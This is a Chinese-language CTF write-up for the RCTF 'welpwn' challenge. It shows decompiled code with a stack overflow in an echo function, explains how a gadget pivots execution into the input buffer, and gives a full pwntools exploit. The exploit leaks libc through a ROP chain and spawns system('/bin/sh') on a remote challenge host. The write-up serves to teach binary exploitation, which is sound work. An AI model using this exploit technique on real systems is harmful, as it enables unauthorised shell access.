welpwn

0x01 漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]

write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo((__int64)&buf);
return 0;
}

int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]

for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}

read最多0x400字节,echo会将这些字节拷贝到s2数组中,超过0x18字节即会覆盖返回地址。

0x02 攻击

1
2
3
4
5
6
7
8
9
10
11
由于echo拷贝时,会被\x00截断,所以不能连续覆盖多个地址来rop,

在echo函数ret处下断点,调试可以发现echo返回地址下方即为read时的buf处

所以可以覆盖返回地址为pop pop pop pop ret指令地址,返回时弹出0x18个填充字节和返回地址,返回到buf+0x20

在buf+0x20处构造rop,先泄露libc基地址,返回到start

重新执行,输入使之执行system('/bin/sh')

下次遇到栈溢出题目一定要多调试,注意栈的结构。

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
#sh=process('./welpwn')
sh=remote('111.198.29.45',47606)
elf=ELF('./welpwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc64-2.19.so')
poprdi_ret=0x4008a3
pop4_ret=0x40089c
puts_plt=elf.plt['puts']
write_got=elf.got['write']
start=0x400630
sh.recvuntil('Welcome to RCTF\n')
payload='a'*0x10+'b'*8+p64(pop4_ret)
payload+=p64(poprdi_ret)+p64(write_got)+p64(puts_plt)+p64(start)
sh.send(payload)
sh.recvuntil('a'*0x10+'b'*8)
sh.recv(3)
write_adr=u64(sh.recv(6).ljust(8,'\x00'))
print 'write_adr: '+hex(write_adr)
#libc_base=write_adr-libc.symbols['write']
libc_base=write_adr-0x0f72b0
print 'libc_base: '+hex(libc_base)
system_adr=libc_base+0x045390
binsh_adr=libc_base+0x18cd57
'''
system_adr=libc_base+libc.symbols['system']
binsh_adr=libc_base+libc.search('/bin/sh\x00').next()
sh.recvuntil('Welcome to RCTF\n')
'''
payload='a'*0x10+'b'*8+p64(pop4_ret)
payload+=p64(poprdi_ret)+p64(binsh_adr)+p64(system_adr)
sh.send(payload)
sh.interactive()
0%